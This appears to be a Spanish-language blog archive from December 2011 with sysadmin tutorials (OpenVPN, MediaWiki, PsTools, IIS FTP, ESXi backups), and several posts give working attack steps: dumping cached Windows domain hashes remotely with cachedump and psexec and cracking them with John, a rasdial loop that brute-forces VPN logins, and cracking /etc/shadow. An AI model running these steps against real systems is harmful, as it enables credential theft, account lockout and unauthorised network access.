sábado, 31 de diciembre de 2011

Comandos Linux Debian

Cubo debian:

http://sinwindows.files.wordpress.com/2011/03/debian.png

Recopilación de comandos de esdebian:

http://www.esdebian.org/wiki/lista-comandos-gnulinux-i
http://www.esdebian.org/wiki/lista-comandos-gnulinux-ii
http://www.esdebian.org/wiki/lista-comandos-gnulinux-iii

viernes, 30 de diciembre de 2011

OpenVPN en debian Squeeze

Qué es OpenVPN?

OpenVPN es una solución basada en Secure Sockets Layer y red Privada Virtual.


Características:

- Multiplataforma
- Utiliza SSL/TLS
- Simple configuración.
- Es flexible y tiene una amplia configuración.
- Publicado bajo licencia GPL de software libre.
- Se puede implementar en capa 2 ó capa 3 del modelo OSI.
- Permite control mediante grupos mediante reglas de firewall.
- La autenticacion de clientes está basada en certificados, tarjetas inteligentes y/o con credenciales de usuario.
- etc.


Instalación de paquetes:

root@www:~# apt-get install openvpn liblzo2-2 lzop openssl
Do you want to continue [Y/n]? Y
openssl-blacklist liblzo2-2 libpkcs11-helper1 openvpn-blacklist openvpn
Install these packages without verification [y/N]? y



Cargamos el módulo y lo verificamos:

root@www:~# modprobe tun
root@www:~# lsmod | grep tun
tun 8740 0



Creamos keys y Certificados:

root@www:~# cp -r /usr/share/doc/openvpn/examples/easy-rsa/ /etc/openvpn/



Configuramos las variables:

root@www:~# vim /etc/openvpn/easy-rsa/2.0/vars


Cambiar:
export EASY_RSA="`pwd`"
por:
export EASY_RSA="/etc/openvpn/easy-rsa"

Cambiar:
export KEY_COUNTRY=AR
export KEY_PROVINCE=BA
export KEY_CITY=Buenos Aires
export KEY_ORG="Mi VPN"
export KEY_EMAIL="morsa@mi-dominio.com"
export KEY_CONFIG=`/etc/openvpn/easy-rsa/2.0/whichopensslcnf $EASY_RSA`


Darle permisos y ejecutar el script:

root@www:/etc/openvpn/easy-rsa/2.0# chmod a+x vars
root@www:/etc/openvpn/easy-rsa/2.0# ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/keys

root@www:/etc/openvpn/easy-rsa/2.0# ./clean-all
Please source the vars script first (i.e. "source ./vars")
Make sure you have edited it to reflect your configuration.

root@www:/etc/openvpn/easy-rsa/2.0# source ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/keys

root@www:/etc/openvpn/easy-rsa/2.0# ./clean-all



Creamos el CA (Certificado de Autoridad):

root@www:~# /etc/openvpn/easy-rsa/2.0/build-ca
/etc/openvpn/easy-rsa/2.0/build-ca: line 8: /etc/openvpn/easy-rsa/pkitool: No such file or directory



Editamos el build-ca por el error previo, se ve que configuramos alguna variable erronea:

root@www:~# vim /etc/openvpn/easy-rsa/2.0/build-ca


Cambiar:
"$EASY_RSA/pkitool" --interact --initca $*
Por:
"/etc/openvpn/easy-rsa/2.0/pkitool" --interact --initca $*


Volvemos a ejecutar el build-ca para crear el Certificado:

root@www:~# /etc/openvpn/easy-rsa/2.0/build-ca
grep: /etc/openvpn/easy-rsa/openssl.cnf: No such file or directory
pkitool: KEY_CONFIG (set by the ./vars script) is pointing to the wrong
version of openssl.cnf: /etc/openvpn/easy-rsa/openssl.cnf
The correct version should have a comment that says: easy-rsa version 2.x



Colocarle la ruta completa al EASY_RSA, ya que no lo encuentra:

root@www:~# vim /etc/openvpn/easy-rsa/2.0/vars
export EASY_RSA="/etc/openvpn/easy-rsa/2.0/"

root@www:/etc/openvpn/easy-rsa/2.0# source vars

root@www:~# /etc/openvpn/easy-rsa/2.0/clean-all

root@www:/etc/openvpn/easy-rsa/2.0# ./build-ca
Country Name (2 letter code) [AR]:
State or Province Name (full name) [BA]:
Locality Name (eg, city) [BuenosAires]:
Organization Name (eg, company) [MiVPN]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [MiVPN CA]:
Name []:
Email Address [morsa@mi-dominio.com]:



Creamos las keys en el Servidor:

root@www:/etc/openvpn/easy-rsa/2.0# ./build-key-server servidor
Country Name (2 letter code) [AR]:
State or Province Name (full name) [BA]:
Locality Name (eg, city) [BuenosAires]:
Organization Name (eg, company) [MiVPN]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [servidor]:
Name []:
Email Address [morsa@mi-dominio.com]:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:miPassGuord
An optional company name []:RedesSeguridad
Using configuration from /etc/openvpn/easy-rsa/2.0//openssl.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE:'AR'
stateOrProvinceName :PRINTABLE:'BA'
localityName :PRINTABLE:'BuenosAires'
organizationName :PRINTABLE:'MiVPN'
commonName :PRINTABLE:'servidor'
emailAddress :IA5STRING:'morsa@mi-dominio.com'
Certificate is to be certified until Dec 28 00:19:33 2021 GMT (3650 days)
Sign the certificate? [y/n]:

1 out of 1 certificate requests certified, commit? [y/n]
Write out database with 1 new entries
Data Base Updated



Creamos la de un cliente solo, si quiere agregar más solo va cambiando el clienteA por otro nombre deseado:

root@www:/etc/openvpn/easy-rsa/2.0# ./build-key clienteA
Country Name (2 letter code) [AR]:
State or Province Name (full name) [BA]:
Locality Name (eg, city) [BuenosAires]:
Organization Name (eg, company) [MiVPN]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [clienteA]:
Name []:
Email Address [morsa@mi-dominio.com]:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:otroPass
An optional company name []:RedesSeguridad
Using configuration from /etc/openvpn/easy-rsa/2.0//openssl.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE:'AR'
stateOrProvinceName :PRINTABLE:'BA'
localityName :PRINTABLE:'BuenosAires'
organizationName :PRINTABLE:'MiVPN'
commonName :PRINTABLE:'clienteA'
emailAddress :IA5STRING:'morsa@mi-dominio.com'
Certificate is to be certified until Dec 28 00:32:03 2021 GMT (3650 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated



Crear parámetros DF (Diffie Hellman):

root@www:/etc/openvpn/easy-rsa/2.0# ./build-dh
Generating DH parameters, 1024 bit long safe prime, generator 2
This is going to take a long time
.......................+...+....................................................................................................+.........................+.............+..........................................................................+....+........+......+..................+................................+................+.............................



Keys:

El directorio /etc/openvpn/easy-rsa/2.0/keys contiene las keys generadas previamente:

root@www:/etc/openvpn/easy-rsa/2.0/keys# ls -l
total 68
-rw-r--r-- 1 root root 3862 Dec 30 21:19 01.pem
-rw-r--r-- 1 root root 3741 Dec 30 21:32 02.pem
-rw-r--r-- 1 root root 1204 Dec 30 21:17 ca.crt
-rw------- 1 root root 887 Dec 30 21:17 ca.key
-rw-r--r-- 1 root root 3741 Dec 30 21:32 clienteA.crt
-rw-r--r-- 1 root root 749 Dec 30 21:32 clienteA.csr
-rw------- 1 root root 887 Dec 30 21:32 clienteA.key
-rw-r--r-- 1 root root 245 Dec 30 21:35 dh1024.pem
-rw-r--r-- 1 root root 216 Dec 30 21:32 index.txt
-rw-r--r-- 1 root root 21 Dec 30 21:32 index.txt.attr
-rw-r--r-- 1 root root 21 Dec 30 21:19 index.txt.attr.old
-rw-r--r-- 1 root root 108 Dec 30 21:19 index.txt.old
-rw-r--r-- 1 root root 3 Dec 30 21:32 serial
-rw-r--r-- 1 root root 3 Dec 30 21:19 serial.old
-rw-r--r-- 1 root root 3862 Dec 30 21:19 servidor.crt
-rw-r--r-- 1 root root 753 Dec 30 21:19 servidor.csr
-rw------- 1 root root 887 Dec 30 21:19 servidor.key


Para autenticar a la VPN desde el cliente debemos copiar el ca.crt, clienteA.crt y clienteA.key. Cualquiera que tenga estos 3 archivos puede conectarse a la VPN, es recomendable transferirlos por un canal seguro ó encriptando los archivos.

Copiamos los archivos restantes a la ruta /etc/openvpn:

root@www:~# cd /etc/openvpn/easy-rsa/2.0/keys/
root@www:/etc/openvpn/easy-rsa/2.0/keys# cp -pf ca.crt ca.key dh1024.pem servidor.crt servidor.key /etc/openvpn/



Configuramos la VPN en el Servidor:

Creamos el archivo openvpn.conf y ponemos lo siguiente:

root@www:~# vim /etc/openvpn/openvpn.conf
#Interface, protocolo y puerto
dev tun
proto tcp
port 1194

#Keys y Certificados
ca /etc/openvpn/easy-rsa/keys/ca.crt
cert /etc/openvpn/easy-rsa/keys/server.crt
key /etc/openvpn/easy-rsa/keys/server.key
dh /etc/openvpn/easy-rsa/keys/dh1024.pem

#Usuario, grupo e ip
user nobody
group nogroup
server 10.8.0.0 255.255.255.0

#Queda persistente al reinicio
persist-key
persist-tun

#Estado de verbosidad openvpn-status.log
#verb 3
client-to-client

push "redirect-gateway def1"

#log-append /var/log/openvpn
comp-lzo


Iniciamos el demonio:

root@www:~# /etc/init.d/openvpn start
Starting virtual private network daemon: openvpn failed!


Habilitamos el log en el /var/log/ para depurar el motivo por el cuál no inicia:

root@www:~# vim /etc/openvpn/openvpn.conf

Descomentar:
log-append /var/log/openvpn


Mostrar el log mientras reiniciamos nuevamente el servicio:

root@www:~# tail -f /var/log/openvpn
Fri Dec 30 22:49:22 2011 OpenVPN 2.1.3 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Oct 21 2010
Fri Dec 30 22:49:22 2011 WARNING: --keepalive option is missing from server config
Fri Dec 30 22:49:22 2011 NOTE: your local LAN uses the extremely common subnet address 192.168.0.x or 192.168.1.x. Be aware that this might create routing conflicts if you connect to the VPN server from public locations such as internet cafes that use the same subnet.
Fri Dec 30 22:49:22 2011 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
Fri Dec 30 22:49:22 2011 Cannot open /etc/openvpn/easy-rsa/keys/dh1024.pem for DH parameters: error:02001002:system library:fopen:No such file or directory: error:2006D080:BIO routines:BIO_new_file:no such file
Fri Dec 30 22:49:22 2011 Exiting


Modificar la ruta de los archivos que pusimos incorrectamente:

root@www:~# vim /etc/openvpn/openvpn.conf
#Keys y Certificados
ca /etc/openvpn/ca.crt
cert /etc/openvpn/servidor.crt
key /etc/openvpn/servidor.key
dh /etc/openvpn/dh1024.pem


Reiniciamos nuevamente y vemos en el log que no hay errores:

root@www:~# /etc/init.d/openvpn start
Starting virtual private network daemon: openvpn.
root@www:~#


root@www:~# tail -f /var/log/openvpn
Fri Dec 30 23:00:07 2011 OpenVPN 2.1.3 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Oct 21 2010
Fri Dec 30 23:00:07 2011 WARNING: --keepalive option is missing from server config
Fri Dec 30 23:00:07 2011 NOTE: your local LAN uses the extremely common subnet address 192.168.0.x or 192.168.1.x. Be aware that this might create routing conflicts if you connect to the VPN server from public locations such as internet cafes that use the same subnet.
Fri Dec 30 23:00:07 2011 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
Fri Dec 30 23:00:07 2011 /usr/bin/openssl-vulnkey -q -b 1024 -m
Fri Dec 30 23:00:08 2011 TUN/TAP device tun0 opened
Fri Dec 30 23:00:08 2011 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500
Fri Dec 30 23:00:08 2011 GID set to nogroup
Fri Dec 30 23:00:08 2011 UID set to nobody
Fri Dec 30 23:00:08 2011 Listening for incoming TCP connection on [undef]
Fri Dec 30 23:00:08 2011 TCPv4_SERVER link local (bound): [undef]
Fri Dec 30 23:00:08 2011 TCPv4_SERVER link remote: [undef]
Fri Dec 30 23:00:08 2011 Initialization Sequence Completed


Tengamos en cuenta que tengo una ip privada en vez de una ip pública en el server, por eso indica que haya posibles conflictos de ruteo si se conecta a la VPN

Vemos la interface virtual tun0 cuando iniciamos el servicio de VPN:

root@www:~# ifconfig tun
tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:10.8.0.1 P-t-P:10.8.0.2 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)


Vemos también que está escuchando en el puerto configurado:

root@www:~# netstat -tpln | grep openvpn
tcp 0 0 0.0.0.0:1194 0.0.0.0:* LISTEN 4042/openvpn


NOTA: Si notamos un poco lenta la conexión comentamos la linea de compresión: comp-lzo en /etc/openvpn/openvpn.conf


Cliente OpenVPN para windows XP:

Descargamos el cliente de:
http://swupdate.openvpn.net/downloads/openvpn-client.msi



Requiere el adonet, lo descargamos de Microsoft:
http://www.microsoft.com/download/en/confirmation.aspx?id=22



Luego de instalar el adonet instalamos por defecto el cliente vpn para windows y creamos un archivo llamado: ClienteA.ovpn:

#Contenido de ClienteA.ovpn
dev tun
client
proto tcp
remote 192.168.1.102 1194
resolv-retry infinite
nobind
user nobody
group nogroup

persist-key
persist-tun
ca ca.crt
cert clienteA.crt
key clienteA.key
comp-lzo

verb 3


Lo importamos, nos aparece un error que no encuentra el ca.crt, luego pasa lo mismo con ClienteA.crt y con ClienteA.key:



Le colocamos los archivos en la ruta correcta y volvemos a importar el archivo ClienteA.ovpn:



Seleccionamos Local File:



Clickeamos en el + de Connection Profiles:



Seleccionamos el botón naranja como indica la siguiente imagen:



Ya nos hemos conectado a la VPN:



Vemos en los logs cuando se establece la conexión:

root@www:~# tail -f /var/log/openvpn
Sat Dec 31 00:23:26 2011 TCPv4_SERVER link local: [undef]
Sat Dec 31 00:23:26 2011 TCPv4_SERVER link remote: [AF_INET]192.168.1.100:14407
Sat Dec 31 00:23:27 2011 192.168.1.100:14407 [clienteA] Peer Connection Initiated with [AF_INET]192.168.1.100:14407
Sat Dec 31 00:25:16 2011 clienteA/192.168.1.100:14407 Connection reset, restarting [-1]
Sat Dec 31 00:27:15 2011 Re-using SSL/TLS context
Sat Dec 31 00:27:15 2011 LZO compression initialized
Sat Dec 31 00:27:15 2011 TCP connection established with [AF_INET]192.168.1.100:14446
Sat Dec 31 00:27:15 2011 TCPv4_SERVER link local: [undef]
Sat Dec 31 00:27:15 2011 TCPv4_SERVER link remote: [AF_INET]192.168.1.100:14446
Sat Dec 31 00:27:16 2011 192.168.1.100:14446 [clienteA] Peer Connection Initiated with [AF_INET]192.168.1.100:14446


Bloqueamos acceso SSH al servidor de openVPN desde la VPN:

root@www:~# iptables -A INPUT -s 10.8.0.0/24 -p tcp --dport 22 -j DROP


Habilitamos todo el tráfico desde la ip 10.8.0.6(la ip que nos asignó en este caso) hacia internet conectado en la VPN:

root@www:~# iptables -t nat -A POSTROUTING -s 10.8.0.6/32 -o eth0 -j MASQUERADE
root@www:~# echo 1 > /proc/sys/net/ipv4/ip_forward



Ahora tenemos el tráfico enrutado por el server VPN, podemos hacer ping a google, conectarnos al msn y navegar por internet:

C:\Documents and Settings\user>ping www.google.com.ar
Pinging www.l.google.com [74.125.47.99] with 32 bytes of data:
Reply from 74.125.47.99: bytes=32 time=299ms TTL=50
Reply from 74.125.47.99: bytes=32 time=203ms TTL=50



Vemos las reglas en iptables:
root@www:~# iptables -L -n -t nat
Chain PREROUTING (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all -- 10.8.0.6 0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target prot opt source destination



Ponemos en el rc.local el contenido de los comandos que queremos qu ese ejecuten cuando se reinicie el server.


Revocando Certificados de Clientes:

Si deseamos que un cliente no se conecte más a la VPN simplemente revocamos su certificado cno los siguientes comandos:

root@www:~# /etc/openvpn/easy-rsa/2.0/vars
root@www:~# /etc/openvpn/easy-rsa/2.0/revoke-full clienteA



FUENTES:

Wikipedia
OpenVPN.net
library.linode.com
www.ventanazul.com
jroliva.wordpress.com
diegosamuel.blogspot.com

miércoles, 28 de diciembre de 2011

MediaWiki en Debian Squeeze

Que es MediaWiki?

Es un software libre de codigo abierto escrito en php, originalmente usado en Wikipedia.

Instalamos requerimientos (LAMP):
apt-get install apache2 php5 mysql-server


Nos requiere usuario y pass de mysql:



Instalamos la wiki:
apt-get install mediawiki


Creamos enlace simbólico:
ln -s /usr/share/mediawiki/ /var/www/mediawiki


Accedemos a la página, reemplazamos la ip por la de nuestro equipo:
http://192.168.1.100/mediawiki/

Configuramos la Wiki:
http://192.168.1.100/mediawiki/index.php/P%C3%A1gina_Principal


Clickeamos en Setup:


Colocamos el nombre de la Wiki y el correo:


Seleccionamos el idioma, la licencia, el usuario y password del administrador:


La siguiente configuración de la Base de Datos:





Movemos el siguiente archivo y accedemos al link que nos sugiere la imagen:
mv /var/lib/mediawiki/config/LocalSettings.php /etc/mediawiki/

Obtener hashes de Windows Remotamente

Para realizar esta actividad primero debemos tener acceso de administrador local de la pc remota.

La pregunta que seguramente se están haciendo en este momento debe ser: Por que motivo voy a obtener los hashes si ya tengo acceso de administrador local?

La respuesta es simple, puede ser para obtener otras credenciales de usuarios de dominio, nosotros tenemos solo la password del administrador local, el cual no tiene acceso a la VPN. En cambio si obtenemos el hash de un usuario de dominio y lo crackeamos, podriamos tener acceso a la red remotamente.

Por defecto windows cachea localmente los hashes de usuarios de dominio en el registro, esto lo realiza por si en algun momento el controlador de dominio donde se autentica el usuario no esta disponible. En el caso de una notebook, cuando un usuario la desconecta de la red interna y se la lleva a su casa no podria loguearse con su user ya que no tiene donde validar las credenciales.

Algo mas interesante seria si un usuario con privilegios de administrador de dominio se hubiese logueado en algun momento en dicha maquina, obtendriamos el hash, lo crackeariamos y si obtenemos exito seriamos admin. del dominio.


1) Descargamos la herramienta cacheDump desde: CacheDump

2) Creamos un archivo cache.bat que contenga dentro lo siguiente:
c:\cachedump.exe > c:\hash.txt

Este bat contiene la ruta del cachedump.exe y la salida de dicha ejecucion (los hashes) la anviara a un archivo llamado hash.txt ubicado en el c:

3) Accedemos remotamente al disco remoto mediante \\192.168.1.100\c$ y copiamos en el C el cachedump.exe y el cache.bat. Esto podemos hacerlo porque tenemos acceso como admin local de dicha Pc. Si queremos usuar la CLI lo hacemos con xcopy:
c:\> xcopy cachedump.exe "\\192.168.1.100\c$"
c:\> xcopy cache.bat "\\192.168.1.100\c$"


4) Ejecutamos el cache.bat con psexec (Para uso y descarga de psexec ver el link: http://www.redes-seguridad.com.ar/2011/12/ejecutar-tareas-remotamente-pstools.html)
c:\> psexec -s -i -d \\192.168.1.100 c:\cache.bat


5) Copiamos el hash.txt del c: remoto a nuestra PC:
c:\>xcopy \\192.168.1.100\c$\hash.txt c:\


6) Vemos el contenido de los usuarios, los hashes y el dominio:
c:\> type hash.txt
user1:A12BC15F401B96733F47912084CDD651:mi-dominio:mi-dominio.com
user2:31765416AFBACB8976563DBFE90155D:mi-dominio:mi-dominio.com


7) Ataque de diccionario con John:
(Para instalarlarlo en linux consultar este link: http://www.redes-seguridad.com.ar/2011/12/cracking-passwd-con-john-ripper.html)
root@morsa:~# john --wordlist=lista.txt -format:mscash hash.txt


lista.txt => es un archivo de texto que contiene palabras de diccionario
hash.txt => es el hash que obtuvimos de la pc atacada

8) En cambio si no logramos nada con ataque por diccionario tendremos que hacer uno por fuerza bruta, incremental:
root@morsa:~# john --incremental -format:mscash hash.txt

martes, 27 de diciembre de 2011

Ejecutar Comandos remotamente (PStools)

Descargamos PStool de: http://download.sysinternals.com/Files/PsTools.zip

Abrimos el notepad.exe en la pc remota con ip 192.168.1.100:
psexec -s -i -d \\192.168.1.100 notepad
PsExec \\192.168.1.100 -s -i -d notepad.exe c:\prueba.txt (El archivo debe estar en la PC remota)


Instalar impresora remotamente:
psexec -s -i -d \\nombre-Pc c:\windows\system32\RUNDLL32 PRINTUI.DLL,PrintUIEntry /il


Abrir pagina web remotamente:
PsExec \\192.168.1.100 -s -i -d "c:\Program Files\Internet Explorer\iexplore.exe" www.redes-seguridad.com.ar


Instalar MSN live Messenger remotamente:
Copiar el instalador del msn wlsetup-web.exe en la pc destino: \\192.168.1.100\c$
Luego ejecutar el instalador:
PsExec.exe \\nombre_de_PC -s -i -d "c:\wlsetup-web.exe"


Matar un proceso en la pc 192.168.1.100 indicando el pid (Identificador de Proceso) en este caso es 328:
pskill \\192.168.1.100 328


Como obtengo el pid para elegir que matar? Desde pslist:
pslist \\192.168.1.100 | find "notepad"
notepad 328 8 1 44 1052 0:00:00.078 0:00:10.296
(PID)


Como saber en que maquinas esta logueado un usuario:
psloggedon nombreUsuario


Obtener el SID de usuario o de PC:
psgetsid nombreUsuario
psgetsid \\nombrePC


Obtener info de una Pc:
psinfo \\192.168.1.100


Listar los procesos en ejecucion en PC remota:
pslist \\192.168.1.100


Ver Visor Suceso de Pc remota:
psloglist \\192.168.1.100


Lista o cierra archivos abiertos remotamente:
psfile \\192.168.1.100


Ver estados de los servicios:
psservice \\192.168.1.100 query


Verificar en que equipos esta el servicio del Panda Antivirus:
psservice find PavSrv all


Detener el Servicio en PC remota:
psservice \\192.168.1.100 stop nombreServicio


Detenemos el servicio:
psservice \\192.168.1.100 stop nombreServicio


Verificamos si el servicio esta corriendo:
psservice \\192.168.1.100 query pavsrv

SERVICE_NAME: PavSrv
DISPLAY_NAME: Panda Antivirus Service
GROUP : Anti-Virus
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0 ms

Volvemos a iniciar el servicio del Panda:
psservice \\192.168.1.100 start pavsrv


Desinstalar un programa remotamente, por ejemplo el CCleaner:
psexec \\192.168.1.100 -s -i -d "C:\Program Files\CCleaner\uninst.exe" /S

viernes, 23 de diciembre de 2011

Fuerza Bruta VPN

Editamos un archivo llamado pass.txt, donde dentro pondremos usuarios y contraseñas en dos columnas distintas, por ejemplo:

Inicio -> ejecutar -> cmd
C:\>edit pass.txt
#usuario password
usuario1 password1
usuario1 password2
usuario1 passwordM
........ .........
usuario2 password1
usuario2 password2
usuario2 passwordM
........ .........
usuarioN password1
usuarioN password2
........ .........
usuarioN passwordM


En este enlace ya hemos visto el comando para conectarnos por línea de comandos a una VPN desde windows: Conexión VPN por CLI

Utilizaremos este comando dentro de un ciclo for para automatizar el ingreso de usuarios/contraseñas del siguiente modo:

c:\> FOR /F "tokens=1,2*" %i in (pass.txt) do rasdial miVPN %i %j


Tengamos en cuenta que pass.txt es el archivo que hemos editado previamente y que miVPN es el nombre que le asignamos cuando creamos la conexión.


NOTA:

Obviamente si nos encontramos con buenos administradores, podríamos hacerlo solamente 3 o 5 veces, o segun la cantidad de intentos que tenga configurado en sus políticas de dominio para el bloqueo de cuentas de usuario.

Esto ultimo tiene su ventaja como desventaja, debido a que el administrador de los servidores puede evitar que obtengan passwords de sus usuarios, pero si un atacante posee todos los usuarios del dominio podría a llegar a hacer una forma de DoS (Denegacion de Servicio), debido a que si realiza dicho procedimiento por cada usuario 3 veces lograria bloquear todas las cuentas de un dominio. Esto le daria un gran dolor de cabeza a dicho administrador.

martes, 20 de diciembre de 2011

Cracking passwd con John the Ripper

Descargamos el John:

root@prueba:~# wget http://www.openwall.com/john/g/john-1.7.9.tar.gz


Destareamos/Descomprimimos:

root@prueba:~# tar xzvf john-1.7.9.tar.gz


Accedemos a la ruta de los fuentes:

root@prueba:~# cd john-1.7.9/src/


Compilamos para linux x86:

root@prueba:~/john-1.7.9/src# make linux-x86-any


Instalamos:

root@prueba:~/john-1.7.9/src# make install


Accedemos a los ejecutables compilados:

root@prueba:~/john-1.7.9# cd run/


Copiamos el passwd y el shadow en otra ruta:

root@prueba:~/john-1.7.9/run# cp /etc/passwd /etc/shadow /root/


Corremos el unshadow y redireccionamos la salida a un archivo llamado unsha.txt:

root@prueba:~/john-1.7.9/run# ./unshadow /root/passwd /root/shadow > /root/unsha.txt


Corremos el john con un modo simple y le pasamos como parametro el archivo que creamos:

root@prueba:~/john-1.7.9/run# ./john -single /root/unsha.txt
Loaded 1 password hash (generic crypt(3) [?/32])
guesses: 0 time: 0:00:00:03 23% c/s: 25.13 trying: Morsa8 - mor$a
guesses: 0 time: 0:00:00:07 38% c/s: 25.09 trying: Mors4 - \morsa
Mors4 (morsa)
guesses: 1 time: 0:00:00:11 100% c/s: 25.10 trying: Mors4 - \morsa
Use the "--show" option to display all of the cracked passwords reliably


Usamos la opción show para ver los passwords crackeados:

root@prueba:~/john-1.7.9/run# ./john -show /root/unsha.txt
morsa:Mors4:1002:1003::/home/morsa:/bin/sh
1 password hashes cracked, 0 left


Nos da como resultado del usuario morsa su correspondiente password: Mors4

lunes, 19 de diciembre de 2011

FTP Server en Windows 2003

Ingresamos al panel de Control:



Agregar o quitar programas:



Agregar o quitar componentes de windows:



Application Server -> Details:



Internet Information Services (ISS) -> Details:



Tildamos File Transfer Protocol (FTP) Service -> Ok



Creamos una carpeta que yo llamare: CarpetaFTP en la ruta: c:\Inetpub\ftproot\:



Abrimos el IIS:



Desplegamos el arbol -> boton derecho en Default FTP Site -> New -> Virtual Directory:



Next:



Ingresamos el Alias para Directorio Virtual:



Buscamos la carpeta:



En nuestro caso permitimos lectura y ejecucion:



Finish:



Desplegamos nuevamente el arbol -> FTP Sites -> Default FTP Site -> CarpetaFTP -> Boton derecho: Permisos



Clickeamos en Add para agregar el usuario con el cual accederemos al FTP Server:



Timpeamos en nombre de usuario -> Check Names -> Ok:



Seleccionamos el usuario en la lista y damos permisos de modificacion, luego OK:



Boton derecho del mouse sobre CarpetaFTP -> Propiedades:



Vamos a la solapa Directory Security, seleccionamos Deny Access -> Add -> Agregamos la ip o el rango de IPs desde el cual permitiremos el acceso FTP:





Probamos la conexion desde otro windows con un cliente FTP:



No olvidemos destildar las conexiones anonimas:





Limitamos el limite de conexiones segun nuestras necesidades:



Habilitamos los logs:



Elegimos el modo de listado de archivos:

viernes, 16 de diciembre de 2011

Script para descargar de un FTP

#!/usr/bin/expect -f
spawn sftp usuario@servidorSFTP
expect "password:"
send "acaVaLaPass\n"
set timeout 60
expect "sftp>"
send "cd /ruta/del/ftp\n"
expect "sftp>"
send "lcd /ruta/local/de/mi/equipo\n"
expect "sftp>"
send "mget *.*\n"
expect "sftp>"
send "exit\n"


Tambien podriamos utilizar el ncftpget, como muestra el siguiente script:

#!/bin/bash
/usr/bin/ncftpget -u miUsuarioFTP -p miPassword ftp.mi-dominio.com.ar /home/ruta/server/local/ /ruta/servidor/ftp/remoto/*

Desencriptar con GPG en Linux

Les dejo un simple script de ejemplo de como utilizar GPG para desencriptar los archivos que nos envia la gente de PagoFacil con los pagos:

#!/bin/sh
/usr/bin/gpg --no-tty --passphrase "Aca va una passphrase" --decrypt /ruta-FileOrigen/PF`date +%d%m%y`.pgp > /rutaFileDestino/PF`date +%d%m%y`.txt

jueves, 15 de diciembre de 2011

Ejecutar backup de ESXi remoto con tarea programada en Windows

Uso:

C:\> plink -ssh -pw nuestro_password usuario_poder@ipservidor_esxi
/ruta_archivo.sh/archivo.sh



Ejemplos:

C:\> plink -ssh -pw Pass root@192.168.1.101
/vmfs/volumes/datastore1/backup/ghettoVCB.sh

C:\> plink -ssh -pw Pass root@192.168.1.101
/vmfs/volumes/4e412912-b49b42f8-f118238ea7289cfa7e/script_bk/ghettoVCB.sh


Fuente: La Legion de Yoda´s Blog

miércoles, 14 de diciembre de 2011

Crontab ESXi 5

Editamos el cron de root para automatizar el backup con el ghetto:

# vi /var/spool/cron/crontabs/root
#min hour day mon dow command
0 0 1 * * /vmfs/volumes/datastoreBkup/lamw-ghettoVCB-518cef7/ghettoVCB.sh -f /vmfs/volumes/datastore/lamw-ghettoVCB-518cef7/vms_to_backup > /vmfs/volumes/datastore/ghetto-bk-$(date +%Y-%m-%d).log


Matamos el cron:
# kill $(cat /var/run/crond.pid)


Lo volvemos a iniciar:
# busybox crond


Ahora bien si reiniciamos el server desaparece del cron, demos agregar la linea persistente agregandola en el rc.local:
# vi /etc/rc.local
/bin/kill $(cat /var/run/crond.pid)
/bin/echo "0 0 1 * * /vmfs/volumes/datastoreBkup/lamw-ghettoVCB-518cef7/ghettoVCB.sh -f /vmfs/volumes/datastoreBkup/lamw-ghettoVCB-518cef7/vms_to_backup > /vmfs/volumes/datastoreBkup/ghetto-bk-$(date +%Y-%m-%d).log" >> /var/spool/cron/crontabs/root
/bin/busybox crond


Fuente: VMware Communities


Como nunca me acuerdo donde está la ruta del cron de root en ESXi 5 me hice un propio script como el crontab de linux, les dejo el código:

#!/bin/sh
# Script Crontab por Morsa
if [ $# = 1 ]
then
if [ $1 = "-e" ]
then
vi /var/spool/cron/crontabs/root
else
if [ $1 = "-l" ]
then
cat /var/spool/cron/crontabs/root
else
echo "Error de comando, para obtener ayuda ejecute: crontab sin parámetros"
fi
fi
else
echo "crontab: opción errónea
crontab - crontab for ESXi by Morsa - Ver. 1.0

USO: crontab [ -l | -e ]
Parámetro Descripción
-e Edita el crontab
-l Lista contenido del crontab"

echo "
Visite www.redes-seguridad.com.ar, errores enviar a tirher@gmail.com"
fi

martes, 13 de diciembre de 2011

Backup de Configuración de ESXi 5

Backupear la config del host:

C:\Documents and Settings\morsa>"C:\Program Files\VMware\VMware vSphere CLI\bi
n\vicfg-cfgbackup.pl" --save --server 192.168.1.100 --username root --password Pass_de_root Nombre_archivo.bak
Saving firmware configuration to nombre_archivo.bak



Restaurar la configuración:

C:\Documents and Settings\morsa>"C:\Program Files\VMware\VMware vSphere CLI\bi
n\vicfg-cfgbackup.pl" --load --server 192.168.1.100 --username root --password Pass_de_root Nombre_archivo.bak


